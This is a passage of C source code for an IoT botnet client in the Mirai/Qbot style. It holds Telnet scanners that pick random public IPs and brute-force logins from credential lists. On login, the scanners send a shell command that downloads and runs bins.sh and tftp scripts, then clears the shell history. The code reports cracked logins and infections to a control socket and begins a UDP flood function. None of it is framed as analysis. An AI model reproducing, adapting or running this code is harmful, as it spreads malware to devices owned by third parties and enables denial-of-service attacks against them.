  778. if( *format == 'X' ) {
  779. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  780. continue;
  781. }
  782. if( *format == 'u' ) {
  783. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  784. continue;
  785. }
  786. if( *format == 'c' ) {
  787. scr[0] = (unsigned char)va_arg( args, int );
  788. scr[1] = '\0';
  789. pc += prints (out, scr, width, pad);
  790. continue;
  791. }
  792. }
  793. else {
  794. out:
  795. printchar (out, *format);
  796. ++pc;
  797. }
  798. }
  799. if (out) **out = '\0';
  800. va_end( args );
  801. return pc;
  802. }
  803. int zprintf(const unsigned char *format, ...) {
  804. va_list args;
  805. va_start( args, format );
  806. return print( 0, format, args );
  807. }
  808. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  809. va_list args;
  810. va_start( args, format );
  811. return print( &out, format, args );
  812. }
  813. int sockprintf(int sock, char *formatStr, ...) {
  814. unsigned char *textBuffer = malloc(2048);
  815. memset(textBuffer, 0, 2048);
  816. char *orig = textBuffer;
  817. va_list args;
  818. va_start(args, formatStr);
  819. print(&textBuffer, formatStr, args);
  820. va_end(args);
  821. orig[strlen(orig)] = '\n';
  822. zprintf("%s\n", orig);
  823. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  824. free(orig);
  825. return q;
  826. }
  827. int wildString(const unsigned char* pattern, const unsigned char* string) {
  828. switch(*pattern) {
  829. case '\0': return *string;
  830. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  831. case '?': return !(*string && !wildString(pattern+1, string+1));
  832. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  833. }
  834. }
  835. int getHost(unsigned char *toGet, struct in_addr *i) {
  836. struct hostent *h;
  837. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  838. return 0;
  839. }
  840. void makeRandomStr(unsigned char *buf, int length) {
  841. int i = 0;
  842. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  843. }
  844. int recvLine(int socket, unsigned char *buf, int bufsize) {
  845. memset(buf, 0, bufsize);
  846. fd_set myset;
  847. struct timeval tv;
  848. tv.tv_sec = 30;
  849. tv.tv_usec = 0;
  850. FD_ZERO(&myset);
  851. FD_SET(socket, &myset);
  852. int selectRtn, retryCount;
  853. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  854. while(retryCount < 10) {
  855. tv.tv_sec = 30;
  856. tv.tv_usec = 0;
  857. FD_ZERO(&myset);
  858. FD_SET(socket, &myset);
  859. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  860. retryCount++;
  861. continue;
  862. }
  863. break;
  864. }
  865. }
  866. unsigned char tmpchr;
  867. unsigned char *cp;
  868. int count = 0;
  869. cp = buf;
  870. while(bufsize-- > 1) {
  871. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  872. *cp = 0x00;
  873. return -1;
  874. }
  875. *cp++ = tmpchr;
  876. if(tmpchr == '\n') break;
  877. count++;
  878. }
  879. *cp = 0x00;
  880. return count;
  881. }
  882. int connectTimeout(int fd, char *host, int port, int timeout) {
  883. struct sockaddr_in dest_addr;
  884. fd_set myset;
  885. struct timeval tv;
  886. socklen_t lon;
  887. int valopt;
  888. long arg = fcntl(fd, F_GETFL, NULL);
  889. arg |= O_NONBLOCK;
  890. fcntl(fd, F_SETFL, arg);
  891. dest_addr.sin_family = AF_INET;
  892. dest_addr.sin_port = htons(port);
  893. if(getHost(host, &dest_addr.sin_addr)) return 0;
  894. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  895. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  896. if (res < 0) {
  897. if (errno == EINPROGRESS) {
  898. tv.tv_sec = timeout;
  899. tv.tv_usec = 0;
  900. FD_ZERO(&myset);
  901. FD_SET(fd, &myset);
  902. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  903. lon = sizeof(int);
  904. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  905. if (valopt) return 0;
  906. }
  907. else return 0;
  908. }
  909. else return 0;
  910. }
  911. arg = fcntl(fd, F_GETFL, NULL);
  912. arg &= (~O_NONBLOCK);
  913. fcntl(fd, F_SETFL, arg);
  914. return 1;
  915. }
  916. int listFork() {
  917. uint32_t parent, *newpids, i;
  918. parent = fork();
  919. if (parent <= 0) return parent;
  920. numpids++;
  921. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  922. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  923. newpids[numpids - 1] = parent;
  924. free(pids);
  925. pids = newpids;
  926. return parent;
  927. }
  928. int negotiate(int sock, unsigned char *buf, int len) {
  929. unsigned char c;
  930. switch (buf[1]) {
  931. case CMD_IAC: return 0;
  932. case CMD_WILL:
  933. case CMD_WONT:
  934. case CMD_DO:
  935. case CMD_DONT:
  936. c = CMD_IAC;
  937. send(sock, &c, 1, MSG_NOSIGNAL);
  938. if (CMD_WONT == buf[1]) c = CMD_DONT;
  939. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  940. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  941. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  942. send(sock, &c, 1, MSG_NOSIGNAL);
  943. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  944. break;
  945. default:
  946. break;
  947. }
  948.  
  949. return 0;
  950. }
  951. int matchPrompt(char *bufStr) {
  952. char *prompts = ":>%$#\0";
  953. int bufLen = strlen(bufStr);
  954. int i, q = 0;
  955. for(i = 0; i < strlen(prompts); i++) {
  956. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  957. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  958. }
  959. return 0;
  960. }
  961. in_addr_t getRandomPublicIP() {
  962. static uint8_t ipState[4] = {0};
  963. ipState[0] = rand() % 223;
  964. ipState[1] = rand() % 255;
  965. ipState[2] = rand() % 255;
  966. ipState[3] = rand() % 255;
  967. while(
  968. (ipState[0] == 0) ||
  969. (ipState[0] == 10) ||
  970. (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  971. (ipState[0] == 127) ||
  972. (ipState[0] == 169 && ipState[1] == 254) ||
  973. (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  974. (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  975. (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  976. (ipState[0] == 192 && ipState[1] == 168) ||
  977. (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  978. (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  979. (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  980. (ipState[0] >= 224)
  981. )
  982. {
  983. ipState[0] = rand() % 223;
  984. ipState[1] = rand() % 255;
  985. ipState[2] = rand() % 255;
  986. ipState[3] = rand() % 255;
  987. }
  988. char ip[16] = {0};
  989. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  990. return inet_addr(ip);
  991. }
  992.  
  993. in_addr_t MiraiIPRanges()
  994. {
  995. static uint8_t ipState[4] = {0};
  996. ipState[0] = rand() % 223;
  997. ipState[1] = rand() % 255;
  998. ipState[2] = rand() % 255;
  999. ipState[3] = rand() % 255;
  1000. while(
  1001. (ipState[0] == 127) || // 127.0.0.0/8 - Loopback
  1002. (ipState[0] == 0) || // 0.0.0.0/8 - Invalid address space
  1003. (ipState[0] == 3) || // 3.0.0.0/8 - General Electric Company
  1004. (ipState[0] == 15 || ipState[0] == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
  1005. (ipState[0] == 56) || // 56.0.0.0/8 - US Postal Service
  1006. (ipState[0] == 10) || // 10.0.0.0/8 - Internal network
  1007. (ipState[0] == 192 && ipState[1] == 168) || // 192.168.0.0/16 - Internal network
  1008. (ipState[0] == 172 && ipState[1] >= 16 && ipState[1] < 32) || // 172.16.0.0/14 - Internal network
  1009. (ipState[0] == 100 && ipState[1] >= 64 && ipState[1] < 127) || // 100.64.0.0/10 - IANA NAT reserved
  1010. (ipState[0] == 169 && ipState[1] > 254) || // 169.254.0.0/16 - IANA NAT reserved
  1011. (ipState[0] == 198 && ipState[1] >= 18 && ipState[1] < 20) || // 198.18.0.0/15 - IANA Special use
  1012. (ipState[0] == 224) || // 224.*.*.*+ - Multicast
  1013. (ipState[0] == 6 || ipState[0] == 7 || ipState[0] == 11 || ipState[0] == 21 || ipState[0] == 22 || ipState[0] == 26 || ipState[0] == 28 || ipState[0] == 29 || ipState[0] == 30 || ipState[0] == 33 || ipState[0] == 55 || ipState[0] == 214 || ipState[0] == 215)
  1014. )
  1015. {
  1016. ipState[0] = rand() % 223;
  1017. ipState[1] = rand() % 255;
  1018. ipState[2] = rand() % 255;
  1019. ipState[3] = rand() % 255;
  1020. }
  1021. char ip[16] = {0};
  1022. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1023. return inet_addr(ip);
  1024. }
  1025.  
  1026. in_addr_t getRandomIP(in_addr_t netmask) {
  1027. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1028. return tmp ^ ( rand_cmwc() & ~netmask);
  1029. }
  1030. unsigned short csum (unsigned short *buf, int count) {
  1031. register uint64_t sum = 0;
  1032. while( count > 1 ) { sum += *buf++; count -= 2; }
  1033. if(count > 0) { sum += *(unsigned char *)buf; }
  1034. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1035. return (uint16_t)(~sum);
  1036. }
  1037. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  1038. struct tcp_pseudo {
  1039. unsigned long src_addr;
  1040. unsigned long dst_addr;
  1041. unsigned char zero;
  1042. unsigned char proto;
  1043. unsigned short length;
  1044. } pseudohead;
  1045. unsigned short total_len = iph->tot_len;
  1046. pseudohead.src_addr=iph->saddr;
  1047. pseudohead.dst_addr=iph->daddr;
  1048. pseudohead.zero=0;
  1049. pseudohead.proto=IPPROTO_TCP;
  1050. pseudohead.length=htons(sizeof(struct tcphdr));
  1051. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1052. unsigned short *tcp = malloc(totaltcp_len);
  1053. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1054. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1055. unsigned short output = csum(tcp,totaltcp_len);
  1056. free(tcp);
  1057. return output;
  1058. }
  1059. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  1060. iph->ihl = 5;
  1061. iph->version = 4;
  1062. iph->tos = 0;
  1063. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1064. iph->id = rand_cmwc();
  1065. iph->frag_off = 0;
  1066. iph->ttl = MAXTTL;
  1067. iph->protocol = protocol;
  1068. iph->check = 0;
  1069. iph->saddr = source;
  1070. iph->daddr = dest;
  1071. }
  1072. int sclose(int fd) {
  1073. if(3 > fd) return 1;
  1074. close(fd);
  1075. return 0;
  1076. }
  1077. void TelnetScanner(int wait_usec, int maxfds)
  1078. {
  1079. int max = getdtablesize() - 100, i, res, num_tmps, j;
  1080.  
  1081. char buf[128], cur_dir;
  1082. if (max > maxfds)
  1083. max = maxfds;
  1084. fd_set fdset;
  1085. struct timeval tv;
  1086. socklen_t lon;
  1087. int valopt;
  1088.  
  1089.  
  1090.  
  1091. char line[256];
  1092. char* buffer;
  1093. struct sockaddr_in dest_addr;
  1094. dest_addr.sin_family = AF_INET;
  1095. dest_addr.sin_port = htons(23);
  1096. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1097.  
  1098. buffer = malloc(SOCKBUF_SIZE + 1);
  1099. memset(buffer, 0, SOCKBUF_SIZE + 1);
  1100.  
  1101. struct telstate_t fds[max];
  1102.  
  1103. memset(fds, 0, max * (sizeof(int) + 1));
  1104. for(i = 0; i < max; i++)
  1105. {
  1106. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1107. fds[i].complete = 1;
  1108. fds[i].sockbuf = buffer;
  1109. }
  1110. while(1) {
  1111. for(i = 0; i < max; i++) {
  1112. if(fds[i].tTimeout == 0) {
  1113. fds[i].tTimeout = time(NULL);
  1114. }
  1115. switch(fds[i].state) {
  1116. case 0:
  1117. {
  1118. if(fds[i].complete == 1)
  1119. {
  1120. char *tmp = fds[i].sockbuf;
  1121. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1122. fds[i].sockbuf = tmp;
  1123.  
  1124. fds[i].ip = getRandomPublicIP();
  1125. }
  1126. else if(fds[i].complete == 0)
  1127. {
  1128. fds[i].usernameInd++;
  1129. fds[i].passwordInd++;
  1130.  
  1131. if(fds[i].passwordInd == sizeof(Telnet_Passwords) / sizeof(char *))
  1132. {
  1133. fds[i].complete = 1;
  1134. continue;
  1135. }
  1136. if(fds[i].usernameInd == sizeof(Telnet_Usernames) / sizeof(char *))
  1137. {
  1138. fds[i].complete = 1;
  1139. continue;
  1140. }
  1141. }
  1142.  
  1143. dest_addr.sin_family = AF_INET;
  1144. dest_addr.sin_port = htons(23);
  1145. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1146. dest_addr.sin_addr.s_addr = fds[i].ip;
  1147.  
  1148. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1149.  
  1150. if(fds[i].fd == -1) continue;
  1151. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1152. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1153. {
  1154. reset_telstate(&fds[i]);
  1155. }
  1156. else
  1157. {
  1158. advance_telstate(&fds[i], 1);
  1159. }
  1160. }
  1161. break;
  1162.  
  1163. case 1:
  1164. {
  1165. FD_ZERO(&fdset);
  1166. FD_SET(fds[i].fd, &fdset);
  1167. tv.tv_sec = 0;
  1168. tv.tv_usec = wait_usec;
  1169. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1170.  
  1171. if(res == 1) {
  1172. fds[i].tTimeout = 0;
  1173. lon = sizeof(int);
  1174. valopt = 0;
  1175. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1176. if(valopt)
  1177. {
  1178. reset_telstate(&fds[i]);
  1179. }
  1180. else
  1181. {
  1182. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1183. advance_telstate(&fds[i], 2);
  1184. }
  1185. continue;
  1186. }
  1187. else if(res == -1)
  1188. {
  1189. reset_telstate(&fds[i]);
  1190. continue;
  1191. }
  1192. if(fds[i].tTimeout + 7 < time(NULL))
  1193. {
  1194. reset_telstate(&fds[i]);
  1195. }
  1196. }
  1197. break;
  1198. case 2:
  1199. {
  1200. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1201. {
  1202. fds[i].tTimeout = time(NULL);
  1203. if(contains_fail(fds[i].sockbuf))
  1204. {
  1205. advance_telstate(&fds[i], 0);
  1206. }
  1207. else
  1208. {
  1209. advance_telstate(&fds[i], 3);
  1210. }
  1211. continue;
  1212. }
  1213. if(fds[i].tTimeout + 7 < time(NULL))
  1214. {
  1215. reset_telstate(&fds[i]);
  1216. }
  1217. }
  1218. break;
  1219. case 3:
  1220. {
  1221. if(send(fds[i].fd, Telnet_Usernames[fds[i].usernameInd], strlen(Telnet_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1222. {
  1223. reset_telstate(&fds[i]);
  1224. continue;
  1225. }
  1226. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1227. {
  1228. reset_telstate(&fds[i]);
  1229. continue;
  1230. }
  1231. advance_telstate(&fds[i], 4);
  1232. }
  1233. break;
  1234. case 4:
  1235. {
  1236. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1237. {
  1238. fds[i].tTimeout = time(NULL);
  1239. if(contains_fail(fds[i].sockbuf))
  1240. {
  1241. advance_telstate(&fds[i], 0);
  1242. }
  1243. else
  1244. {
  1245. advance_telstate(&fds[i], 5);
  1246. }
  1247. continue;
  1248. }
  1249. if(fds[i].tTimeout + 7 < time(NULL))
  1250. {
  1251. reset_telstate(&fds[i]);
  1252. }
  1253. }
  1254. break;
  1255. case 5:
  1256. {
  1257. if(send(fds[i].fd, Telnet_Passwords[fds[i].passwordInd], strlen(Telnet_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1258. {
  1259. reset_telstate(&fds[i]);
  1260. continue;
  1261. }
  1262. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1263. {
  1264. reset_telstate(&fds[i]);
  1265. continue;
  1266. }
  1267. advance_telstate(&fds[i], 6);
  1268. }
  1269. break;
  1270. case 6:
  1271. {
  1272. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
  1273. {
  1274. fds[i].tTimeout = time(NULL);
  1275.  
  1276. if(contains_fail(fds[i].sockbuf))
  1277. {
  1278. advance_telstate(&fds[i], 0);
  1279. }
  1280. else if(contains_success(fds[i].sockbuf))
  1281. {
  1282. if(fds[i].complete == 2)
  1283. {
  1284. advance_telstate(&fds[i], 7);
  1285. }
  1286. else
  1287. {
  1288. sockprintf(mainCommSock, "[TELNET] [+] LOGIN CRACKED ---> %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1289. advance_telstate(&fds[i], 7);
  1290. }
  1291. }
  1292. else
  1293. {
  1294. reset_telstate(&fds[i]);
  1295. }
  1296. continue;
  1297. }
  1298. if(fds[i].tTimeout + 7 < time(NULL))
  1299. {
  1300. reset_telstate(&fds[i]);
  1301. }
  1302. }
  1303. break;
  1304. case 7:
  1305. {
  1306. fds[i].tTimeout = time(NULL);
  1307.  
  1308. if(send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/ || /var/run/ || /var/system/ || /mnt/ || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;busybox wget 0.0.0.0/bins.sh;chmod 777;sh bins.sh;busybox tftp -g 0.0.0.0 -r tftp1.sh;chmod 777 *;sh tftp1.sh;busybox tftp -g 0.0.0.0 -r tftp2.sh;chmod 777 *;sh tftp2.sh;rm -rf *sh;history -c;history -w;rm -rf ~/.bash_history\r\n", 407, MSG_NOSIGNAL) < 0)
  1309. {
  1310. sockprintf(mainCommSock, "[TELNET] [+] SUCCESSFUL INFECTION ---> %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1311. reset_telstate(&fds[i]);
  1312. continue;
  1313. }
  1314. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "REBIRTH"))
  1315. {
  1316.  
  1317. if(strcasestr(fds[i].sockbuf, "REBIRTH") && fds[i].complete != 3)
  1318. {
  1319. sockprintf(mainCommSock, "[TELNET] [+] PAYLOAD SENT ---> %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1320. fds[i].complete = 3;
  1321. }
  1322. }
  1323. if(fds[i].tTimeout + 45 < time(NULL))
  1324. {
  1325. if(fds[i].complete!=3)
  1326. {
  1327. sockprintf(mainCommSock, "[TELNET] [-] FAILED INFECTION ---> %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  1328. }
  1329. reset_telstate(&fds[i]);
  1330. }
  1331. break;
  1332. }
  1333. }
  1334. }
  1335. }
  1336. }
  1337.  
  1338. void MiraiScanner(int wait_usec, int maxfds)
  1339. {
  1340. int max = getdtablesize() - 100, i, res, num_tmps, j;
  1341. char buf[128], cur_dir;
  1342. if (max > maxfds)
  1343. max = maxfds;
  1344. fd_set fdset;
  1345. struct timeval tv;
  1346. socklen_t lon;
  1347. int valopt;
  1348. char line[256];
  1349. char* buffer;
  1350. struct sockaddr_in dest_addr;
  1351. dest_addr.sin_family = AF_INET;
  1352. dest_addr.sin_port = htons(23);
  1353. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1354. buffer = malloc(SOCKBUF_SIZE + 1);
  1355. memset(buffer, 0, SOCKBUF_SIZE + 1);
  1356. struct telstate_t fds[max];
  1357. memset(fds, 0, max * (sizeof(int) + 1));
  1358. for(i = 0; i < max; i++) {
  1359. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1360. fds[i].complete = 1;
  1361. fds[i].sockbuf = buffer;
  1362. }
  1363. while(1) {
  1364. for(i = 0; i < max; i++) {
  1365. if(fds[i].tTimeout == 0) {
  1366. fds[i].tTimeout = time(NULL);
  1367. }
  1368. switch(fds[i].state) {
  1369. case 0:
  1370. {
  1371. if(fds[i].complete == 1)
  1372. {
  1373.  
  1374. char *tmp = fds[i].sockbuf;
  1375. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1376. fds[i].sockbuf = tmp;
  1377.  
  1378.  
  1379. fds[i].ip = MiraiIPRanges();
  1380. }
  1381. else if(fds[i].complete == 0)
  1382. {
  1383. fds[i].usernameInd++;
  1384. fds[i].passwordInd++;
  1385.  
  1386. if(fds[i].passwordInd == sizeof(Mirai_Passwords) / sizeof(char *))
  1387. {
  1388. fds[i].complete = 1;
  1389. }
  1390. if(fds[i].usernameInd == sizeof(Mirai_Usernames) / sizeof(char *))
  1391. {
  1392. fds[i].complete = 1;
  1393. continue;
  1394. }
  1395. }
  1396. dest_addr.sin_family = AF_INET;
  1397. dest_addr.sin_port = htons(23);
  1398. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1399.  
  1400. dest_addr.sin_addr.s_addr = fds[i].ip;
  1401. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1402. if(fds[i].fd == -1) continue;
  1403. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1404.  
  1405. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1406. {
  1407. reset_telstate(&fds[i]);
  1408. }
  1409. else
  1410. {
  1411. advance_telstate(&fds[i], 1);
  1412. }
  1413. }
  1414. break;
  1415. case 1:
  1416. {
  1417. FD_ZERO(&fdset);
  1418. FD_SET(fds[i].fd, &fdset);
  1419. tv.tv_sec = 0;
  1420. tv.tv_usec = wait_usec;
  1421. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1422. if(res == 1)
  1423. {
  1424. fds[i].tTimeout = time(NULL);
  1425. lon = sizeof(int);
  1426. valopt = 0;
  1427. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1428. if(valopt)
  1429. {
  1430. reset_telstate(&fds[i]);
  1431. }
  1432. else
  1433. {
  1434. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1435. advance_telstate(&fds[i], 2);
  1436. }
  1437. continue;
  1438. }
  1439. else if(res == -1)
  1440. {
  1441. reset_telstate(&fds[i]);
  1442. continue;
  1443. }
  1444. if(fds[i].tTimeout + 7 < time(NULL))
  1445. {
  1446. reset_telstate(&fds[i]);
  1447. }
  1448. }
  1449. break;
  1450. case 2:
  1451. {
  1452. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1453. {
  1454. fds[i].tTimeout = time(NULL);
  1455. if(contains_fail(fds[i].sockbuf))
  1456. {
  1457. advance_telstate(&fds[i], 0);
  1458. }
  1459. else
  1460. {
  1461. advance_telstate(&fds[i], 3);
  1462. }
  1463. continue;
  1464. }
  1465. if(fds[i].tTimeout + 7 < time(NULL))
  1466. {
  1467. reset_telstate(&fds[i]);
  1468. }
  1469. }
  1470. break;
  1471. case 3:
  1472. {
  1473. if(send(fds[i].fd, Mirai_Usernames[fds[i].usernameInd], strlen(Mirai_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1474. {
  1475. reset_telstate(&fds[i]);
  1476. continue;
  1477. }
  1478. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1479. {
  1480. reset_telstate(&fds[i]);
  1481. continue;
  1482. }
  1483. advance_telstate(&fds[i], 4);
  1484. }
  1485. break;
  1486. case 4:
  1487. {
  1488. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  1489. {
  1490. fds[i].tTimeout = time(NULL);
  1491. if(contains_fail(fds[i].sockbuf))
  1492. {
  1493. advance_telstate(&fds[i], 0);
  1494. }
  1495. else
  1496. {
  1497. advance_telstate(&fds[i], 5);
  1498. }
  1499. continue;
  1500. }
  1501. if(fds[i].tTimeout + 7 < time(NULL))
  1502. {
  1503. reset_telstate(&fds[i]);
  1504. }
  1505. }
  1506. break;
  1507. case 5:
  1508. {
  1509. if(send(fds[i].fd, Mirai_Passwords[fds[i].passwordInd], strlen(Mirai_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1510. {
  1511. reset_telstate(&fds[i]);
  1512. continue;
  1513. }
  1514. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1515. {
  1516. reset_telstate(&fds[i]);
  1517. continue;
  1518. }
  1519. advance_telstate(&fds[i], 6);
  1520. }
  1521. break;
  1522. case 6:
  1523. {
  1524. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
  1525. {
  1526. fds[i].tTimeout = time(NULL);
  1527. if(contains_fail(fds[i].sockbuf))
  1528. {
  1529. advance_telstate(&fds[i], 0);
  1530. }
  1531. else if(contains_success(fds[i].sockbuf))
  1532. {
  1533. if(fds[i].complete == 2)
  1534. {
  1535. advance_telstate(&fds[i], 7);
  1536. }
  1537. else
  1538. {
  1539. sockprintf(mainCommSock, "[Mirai][attempt on %s] [%s:%s]", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1540. advance_telstate(&fds[i], 7);
  1541. }
  1542. }
  1543. else
  1544. {
  1545. reset_telstate(&fds[i]);
  1546. }
  1547. continue;
  1548. }
  1549. if(fds[i].tTimeout + 7 < time(NULL))
  1550. {
  1551. reset_telstate(&fds[i]);
  1552. }
  1553. }
  1554. break;
  1555. case 7:
  1556. { fds[i].tTimeout = time(NULL);
  1557.  
  1558. if(send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/ || /var/run/ || /var/system/ || /mnt/ || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;busybox wget 0.0.0.0/bins.sh;chmod 777;sh bins.sh;busybox tftp -g 0.0.0.0 -r tftp1.sh;chmod 777 *;sh tftp1.sh;busybox tftp -g 0.0.0.0 -r tftp2.sh;chmod 777 *;sh tftp2.sh;rm -rf *sh;history -c;history -w;rm -rf ~/.bash_history\r\n", 407, MSG_NOSIGNAL) < 0)
  1559. {
  1560. sockprintf(mainCommSock, "[TELNET] [+] SUCCESSFUL INFECTION ---> %s:%s:%s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1561. reset_telstate(&fds[i]);
  1562. continue;
  1563. }
  1564. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "REBIRTH"))
  1565. {
  1566. if(strcasestr(fds[i].sockbuf, "REBIRTH") && fds[i].complete != 3)
  1567. {
  1568. sockprintf(mainCommSock, "[TELNET] [+] PAYLOAD SENT ---> %s:%s:%s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1569. }
  1570. }
  1571. if(fds[i].tTimeout + 45 < time(NULL))
  1572. {
  1573. if(fds[i].complete!=3)
  1574. {
  1575. sockprintf(mainCommSock, "[TELNET] [-] FAILED INFECTION ---> %s:%s:%s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  1576. }
  1577. reset_telstate(&fds[i]);
  1578. }
  1579. break;
  1580. }
  1581. }
  1582. }
  1583. }
  1584. }
  1585.  
  1586. void SendSTD(unsigned char *ip, int port, int secs) {
  1587. int iSTD_Sock;
  1588. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1589. time_t start = time(NULL);
  1590. struct sockaddr_in sin;
  1591. struct hostent *hp;
  1592. hp = gethostbyname(ip);
  1593. bzero((char*) &sin,sizeof(sin));
  1594. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1595. sin.sin_family = hp->h_addrtype;
  1596. sin.sin_port = port;
  1597. unsigned int a = 0;
  1598. while(1){
  1599. if (a >= 50) {
  1600. send(iSTD_Sock, "std", 69, 0);
